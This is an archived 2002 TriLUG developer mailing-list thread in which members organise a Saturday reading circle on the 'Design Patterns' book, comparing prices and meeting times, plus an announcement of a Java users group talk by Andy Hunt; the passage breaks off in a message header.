http://www.trilug.org/mailman/listinfo/dev From prhodes@vdsinc.com Fri Feb 15 13:59:26 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA07783 for ; Fri, 15 Feb 2002 13:59:26 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGA19679; Fri, 15 Feb 2002 14:01:23 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Fri, 15 Feb 2002 14:06:54 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/15/2002 02:07:01 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > heh. _ALL_ my knowledge is rudimentary (as possible). Patterns > are not limited to implementation in specific languages. Absolutely true. The literature on patterns features a diverse group of languages.. ranging from C++ to Python, and including Java, Smalltalk, Eiffel, etc. > Sure, the GOF were all super-genius', but that doesn't mean a > simpleton like me can't benefit from their ideas and discourse > -- even when I'm not lucky enough to work in OO-land most of the day. Yeah, I think everybody can benefit from this, regardless of their skill level in a particular language. If you know enough about OO programming to understand what a design pattern is (basically) and know that you would like to learn about them... you probably know enough to gain something from this exercise. > come on out. I plan on learning all I can from the group, and hope > that I have something valuable that I can add to the discussion. Same here. You have to figure, pretty much nothing but good can come from hanging out with a bunch of people who are interested in the same subject as you. Everybody learns from everybody else, and a sort of "feedback-loop" is created where we all help each other further our understanding. Or at least that's what's supposed to happen. :-) TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From billvinson@nc.rr.com Fri Feb 15 14:46:23 2002 Received: from mail5.nc.rr.com ([24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA08115 for ; Fri, 15 Feb 2002 14:46:23 -0500 Received: from localhost ([66.26.236.160]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 15 Feb 2002 14:47:48 -0500 Date: Fri, 15 Feb 2002 14:47:48 -0500 Subject: Re: [Dev] Reading Circle Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Well, everyone is making some good points about jumping in, so I will probably jump on in (Need to do a quick crash course to remember some stuff beforehand :) So, when are we gonna start? Bill On Friday, February 15, 2002, at 01:20 PM, M. Mueller (bhu5nji) wrote: > If you wait for your C++ to get good you might never jump in. Jump in > and > learn to swim out of necessity. I often think the documentation is > harder > than the concept it's trying to describe. > > Mike M. From billvinson@nc.rr.com Fri Feb 15 15:14:17 2002 Received: from mail5.nc.rr.com ([24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA08265 for ; Fri, 15 Feb 2002 15:14:17 -0500 Received: from localhost ([66.26.236.160]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 15 Feb 2002 15:15:50 -0500 Date: Fri, 15 Feb 2002 15:15:49 -0500 Subject: Re: [Dev] Reading Circle Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: bookpool.com has 'Design Patterns: Elements of Reusable Object-Oriented Software' for $39.95 + a little less than $5 shipping 3 day UPS. http://www.bookpool.com/.x/pnifdyoiu1/ss/1?qs=0201633612&Go.x=0&Go.y=0 Anyone found a better deal? Bill From bhu5nji@yahoo.com Fri Feb 15 16:34:00 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA08689 for ; Fri, 15 Feb 2002 16:34:00 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 16bq1V-0001jh-00 for dev@trilug.org; Fri, 15 Feb 2002 16:36:05 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Fri, 15 Feb 2002 16:33:06 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: it's the best so far; compare with Amazon, 49, free ship with >99 order B&N, 49 Mike M. On Friday 15 February 2002 03:15 pm, you wrote: > bookpool.com has 'Design Patterns: Elements of Reusable Object-Oriented > Software' for $39.95 + a little less than $5 shipping 3 day UPS. > > http://www.bookpool.com/.x/pnifdyoiu1/ss/1?qs=0201633612&Go.x=0&Go.y=0 > > Anyone found a better deal? > > Bill > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From tbryan@python.net Fri Feb 15 20:54:26 2002 Received: from mail5.nc.rr.com ([24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id UAA09855 for ; Fri, 15 Feb 2002 20:54:26 -0500 Received: from there ([66.26.39.53]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 15 Feb 2002 20:55:54 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Fri, 15 Feb 2002 22:03:59 +0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <085ec5255011022FE5@mail5.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 16 February 2002 12:06 am, prhodes@vdsinc.com wrote: > > come on out. I plan on learning all I can from the group, and hope > > that I have something valuable that I can add to the discussion. > > Same here. You have to figure, pretty much nothing but good > can come from hanging out with a bunch of people who are > interested in the same subject as you. Everybody learns > from everybody else, and a sort of "feedback-loop" is created > where we all help each other further our understanding. Or > at least that's what's supposed to happen. :-) I'm not sure whether I'll be joining this round, but it sounds interesting. I've done something similar with this book at work last year. Even if I don't join your reading group, I may have some suggestions on how to make the exercise more beneficial. Pester me later for details. ---Tom From prhodes@vdsinc.com Fri Feb 15 22:53:11 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA10357 for ; Fri, 15 Feb 2002 22:53:11 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGA60331; Fri, 15 Feb 2002 22:55:13 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Fri, 15 Feb 2002 23:00:46 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/15/2002 11:00:48 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > So, when are we gonna start? Good question. I was thinking maybe give everybody a week or two, before we start.. so people will have time to get the book, do any "brushing up" they might want to do, etc. Also, my co-worker who is interested in participating, has one particular set of weekends out of the month that is free, due to church commitments the other weeks. I forget if he said it's the 1st and 3rd Saturday that he's free, or the 2nd and 4th. But, since he's the only one who has mentioned any type of scheduling conflict for Saturday, I'd like to check with him before we decide on a date.. if that's alright with everybody else, of course. Other than that, I'm good with any coming week that's good with everybody else. Also, do you guys want to set a particular time? There seems to be a lot of agreement about "Saturday afternoon" but that's a little vague? We talking 1:00? 3:00? 6:00? 9:00? or what? I don't personally have much of a preference. My Saturdays are, afaik, completely free right now. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From brent@mutt.rcfile.org Fri Feb 15 23:35:37 2002 Received: from mail5.nc.rr.com ([24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA10581 for ; Fri, 15 Feb 2002 23:35:37 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 15 Feb 2002 23:37:01 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1G4b9X82588 for dev@trilug.org; Fri, 15 Feb 2002 23:37:09 -0500 (EST) (envelope-from brent) Date: Fri, 15 Feb 2002 23:37:08 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020216043708.GA82543@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-15 23:00] prhodes@vdsinc.com said: | > So, when are we gonna start? | | Good question. I was thinking maybe give everybody a week or two, | before we start.. so people will have time to get the book, | do any "brushing up" they might want to do, etc. I just verified that I can get the conference room anytime that it is not otherwise reserved for use. I'll go ahead and reserve it for next Saturday, and if we decide to meet, that room will be available. | Also, my co-worker who is interested in participating, has one | particular set of weekends out of the month that is free, due | to church commitments the other weeks. I forget if he said it's | the 1st and 3rd Saturday that he's free, or the 2nd and 4th. | But, since he's the only one who has mentioned any type of | scheduling conflict for Saturday, I'd like to check with him | before we decide on a date.. if that's alright with everybody | else, of course. No problem. | Other than that, I'm good with any coming week that's good | with everybody else. Same here. | Also, do you guys want to set a particular time? There seems | to be a lot of agreement about "Saturday afternoon" but that's | a little vague? We talking 1:00? 3:00? 6:00? 9:00? or what? I vote for 3:00pm. It gives plenty of time to return from friday-night-hack-mode. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From billvinson@nc.rr.com Sat Feb 16 01:48:49 2002 Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id BAA11132 for ; Sat, 16 Feb 2002 01:48:48 -0500 Received: from localhost ([66.26.236.160]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 16 Feb 2002 01:50:53 -0500 Date: Sat, 16 Feb 2002 01:50:50 -0500 Subject: Re: [Dev] Reading Circle Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <83A8D756-22A9-11D6-A9FA-0003930BA03A@nc.rr.com> X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday, February 15, 2002, at 11:00 PM, prhodes@vdsinc.com wrote: >> So, when are we gonna start? > > Good question. I was thinking maybe give everybody a week or two, > before we start.. so people will have time to get the book, > do any "brushing up" they might want to do, etc. I think waiting a couple of weeks is a good idea. Maybe end of February? Beginning of March? I know I need to brush up and I need to get the book. Guess I need to order it from bookpool.com as that seems to be the cheapest deal so far. Are we all agreed on the 'Design Patterns' book as the first? > Also, do you guys want to set a particular time? There seems > to be a lot of agreement about "Saturday afternoon" but that's > a little vague? We talking 1:00? 3:00? 6:00? 9:00? or what? > I am better with earlier on Saturdays (1PM - 3PM) as my wife and I usually go out for an earlier dinner (3PM - 6PM timeframe). But before I commit to that I imagine I better ask her :) Bill From prhodes@vdsinc.com Sat Feb 16 12:54:36 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA13963 for ; Sat, 16 Feb 2002 12:54:36 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGA89936; Sat, 16 Feb 2002 12:56:39 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Sat, 16 Feb 2002 13:02:13 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/16/2002 01:02:15 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I think waiting a couple of weeks is a good idea. Maybe end of > February? Beginning of March? I talked to my colleague who wants to attend, and it's the 2nd and 4th Saturdays that he's free. So, if it's OK with everybody else, I'd like to suggest doing the 2nd and 4th. If we go with that, the next meeting day would be next Saturday, the 23rd of February, or else the 9th of March. I'm was thinking about this... maybe we could establish March 9th as the first "real" meeting, but since Brent apparently has the conference room for next Sat. maybe we could go ahead and get together, kinda informally and chat for a while. If nothing else, we could talk about how the meetings are going to work, and whatever other miscellani comes up, and then maybe grab some lunch or something. At worst it would be chance for some of us to meet, who might not have met in real life before, and spend an hour or so chatting about geek stuff. :-) > get the book. Guess I need to order it from bookpool.com as that seems > to be the cheapest deal so far. Are we all agreed on the 'Design > Patterns' book as the first? Well, I haven't heard any objection to that, so I guess so, basically. The only thing that comes to mind is the possibility of doing what the Boulder patterns group did. They started with a different patterns book: "DesignPatternsExplained: A New Perspective on Object Oriented Design", written by AlanShalloway and JamesTrott. Apparently it's considered more of an introductory level book on the subject? So, might we want to do that, then go on to the GoF book? Or would you guys just want to jump into the GoF right away? Maybe that's something we could discuss this coming Sat., if we have a "prelim" meeting. Whatever the rest of the gang wants to do is, of course, fine by me. TTYL, Phillip Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From billvinson@nc.rr.com Sat Feb 16 14:01:44 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA14268 for ; Sat, 16 Feb 2002 14:01:44 -0500 Received: from localhost ([66.26.236.160]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 16 Feb 2002 14:03:49 -0500 Date: Sat, 16 Feb 2002 14:03:49 -0500 Subject: Re: [Dev] Reading Circle Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday, February 16, 2002, at 01:02 PM, prhodes@vdsinc.com wrote: > I talked to my colleague who wants to attend, and it's the 2nd and 4th > Saturdays that he's free. So, if it's OK with everybody else, I'd like > to suggest doing the 2nd and 4th. > > If we go with that, the next meeting day would be next Saturday, the > 23rd of February, or else the 9th of March. I'm was thinking about > this... > maybe we could establish March 9th as the first "real" meeting, but > since > Brent apparently has the conference room for next Sat. maybe we could > go ahead and get together, kinda informally and chat for a while. I think this is an excellent idea. It will give everyone some time to get whatever book and look it over, but will also give us a chance to meet and discuss what we want out of the meetings. > Well, I haven't heard any objection to that, so I guess so, basically. > The > only thing that comes > to mind is the possibility of doing what the Boulder patterns group did. > They started with > a different patterns book: "DesignPatternsExplained: A New Perspective > on > Object Oriented Design", > written by AlanShalloway and JamesTrott. Apparently it's considered > more > of an introductory > level book on the subject? So, might we want to do that, then go on to > the > GoF book? Or > would you guys just want to jump into the GoF right away? Maybe that's > something we > could discuss this coming Sat., if we have a "prelim" meeting. I would suggest starting with the intro book might be better, but that is just me. I imagine the GOF book would be fine as well. I guess we need a consensus here or in a prelim meeting. Bill From tbryan@python.net Sat Feb 16 21:29:46 2002 Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA16038 for ; Sat, 16 Feb 2002 21:29:46 -0500 Received: from there ([24.25.26.71]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 16 Feb 2002 21:31:51 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Sat, 16 Feb 2002 22:47:49 +0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <04db85131021122FE5@mail5.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 16 February 2002 11:02 pm, prhodes@vdsinc.com wrote: > They started with > a different patterns book: "DesignPatternsExplained: A New Perspective on > Object Oriented Design", written by AlanShalloway and JamesTrott. > Apparently it's considered more of an introductory > level book on the subject? So, might we want to do that, then go on to the > GoF book? Or would you guys just want to jump into the GoF right away? I've never seen the other book. I've read most of the GoF book. If you're currently a software developer doing object-oriented development in Java, C++, Python, etc., then I wouldn't hesitate to recommend the GoF book. The concept of design patterns is presented well at the beginning of the book and is fairly straight forward. The individual patterns aren't that bad. Implementing them is usually pretty easy, given the explanations in the text. It just takes some thinking to figure out where each pattern fits, how they relate to each other, when to use and not use each one, and where they might be useful in code you're writing. By "thinking," I don't mean "figuring it out" like computing algorithm timings. I mean something more like "pondering" or "reflecting." This book is, IMHO, an excellent choice for a reading group because it is one where hearing diverse points of view and drawing on different people's backgrounds can really add a lot to the book. ---Tom From prhodes@vdsinc.com Sun Feb 17 17:44:58 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA26825 for ; Sun, 17 Feb 2002 17:44:58 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGB36658; Sun, 17 Feb 2002 17:46:59 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Sun, 17 Feb 2002 17:52:31 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/17/2002 05:52:37 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I've never seen the other book. I've read most of the GoF book. If you're > currently a software developer doing object-oriented development in Java, > C++, Python, etc., then I wouldn't hesitate to recommend the GoF book. > > This book is, IMHO, an excellent choice for a > reading group because it is one where hearing diverse points of view and > drawing on different people's backgrounds can really add a lot to the book. Starting right in on the GoF book is Ok with me, personally. From what I've read of the book, I find the material to be quite accessible, without any need for any "advanced" knowledge or anything. I just wanted to offer up the possibility of starting with something else, in case some might be intimidated by the GoF book. Honestly though, I agree with Tom. We could start there safely, I'm pretty sure. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From acoliver@apache.org Mon Feb 18 17:26:04 2002 Received: from mail4.nc.rr.com ([24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA01357 for ; Mon, 18 Feb 2002 17:26:03 -0500 Received: from linux2.superlinksoftware.com ([66.57.13.157]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Mon, 18 Feb 2002 17:27:48 -0500 From: "Andrew C. Oliver" To: dev@trilug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 18 Feb 2002 17:15:32 -0500 Message-Id: <1014070533.2540.35.camel@linux2.superlinksoftware.com> Mime-Version: 1.0 Subject: [Dev] Andy Hunt talks to the JUG Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Tonight's Triangle Java User's Group meeting (www.trijug.org) will feature Andy hunt.... February 2002 JUG Meeting: Triangle Java Users Group Presents: The Long-Lost Secret to Developing Good Software presented by Andrew Hunt Monday, February 18, 2002 6:30 PM - 9:00 PM LOCATION: MCNC Auditorium 3021 Cornwallis Road Research Triangle Park, North Carolina 919.248.1800 Abstract: Software projects still run late, over-budget, and under-featured. Managers ask their developers to work insane hours anyway, all in the face of changing technologies and changing requirements. Walking on water and developing software from a specification are easy if both are frozen. But in today's business climate, everything is undergoing constant change; nothing is frozen. While the new Agile methodologies (include eXtreme Programming, or "XP") are a huge step in the right direction, they still don't offer a silver bullet. You can fail with an Agile methodology just as easily as you can fail with the Rational Unified Process, or with CMM-inspired methodologies. What, then, is the secret to developing working software on time, on budget? About Speaker: Andy is co-author of the best-selling book The Pragmatic Programmer and Programming Ruby, various articles, is a columnist for IEEE Software magazine, a founding author of the Agile Alliance, and lectures internationally on the topic of software development. Between writing, traveling, woodworking and playing the piano, Andy finds time for his consulting business specializing in Agile software development. Andy has been writing software professionally since the early 80's across diverse industries such as telecommunications, banking, financial services, utilities, medical imaging, graphic arts, and Internet services. Format: The talk will last about 60 minutes (Q&A will follow) AGENDA: 6:30 pm - Meet, talk, snacks 7:00-7:15 - Announcements, Status of JUG projects 7:15 - 8:15 - Presentation 8:15 - 8:30 - Discussion with presenter 9:00 - Doors close DIRECTIONS to MCNC: From Raleigh: Take I-40 West toward Durham and Chapel Hill. You will enter RTP. Where I-40 splits, bear right onto the Durham Freeway North (Highway 147). Take the Cornwallis Road Exit. At the end of the exit ramp, bear right - cross back over the Freeway. MCNC is located approximately 3/4 mile on the right. From Durham: Get on the Durham Freeway South (Highway 147). Take the Cornwallis Road exit. At the end of the ramp, bear right - MCNC is approximately 3/4 mile on right. Click here for map with directions, or visit the MCNC web site. [Want Java] -- www.superlinksoftware.com www.sourceforge.net/projects/poi - port of Excel format to java http://developer.java.sun.com/developer/bugParade/bugs/4487555.html - fix java generics! The avalanche has already started. It is too late for the pebbles to vote. -Ambassador Kosh From prhodes@vdsinc.com Tue Feb 19 10:39:23 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA05988 for ; Tue, 19 Feb 2002 10:39:23 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGC96548; Tue, 19 Feb 2002 10:37:54 -0500 (EST) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Feb 2002 10:43:28 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/19/2002 10:43:34 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: It seems that nobody has spoken up yet, with any opposition to meeting the 2nd and 4th Saturdays of the month, for our little reading circle. So, unless somebody has something to say about it now, we're going to adopt that? Also, are some (all, even?) of you up for a preliminary meeting on the 23rd ( this Saturday )? There seemed to be some consensus to allow a couple of weeks before the first "real" meeting, to allow people to get their books and "brush up".... but their seemed to be some support for the idea of a "prelim" meeting this weekend, to discuss how this is going to work, etc. Probably it will just turn into some geeks B.S.'ing about geek stuff, but hey..... Anyway, let's decide what we want to do.... I'm not sure what the status of Brent's conference room is, but I imagine that we need to decide something soon, so he can make sure the room is reserved, if we are indeed going to meet this week. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From billvinson@nc.rr.com Tue Feb 19 10:51:34 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA06078 for ; Tue, 19 Feb 2002 10:51:34 -0500 Received: from localhost 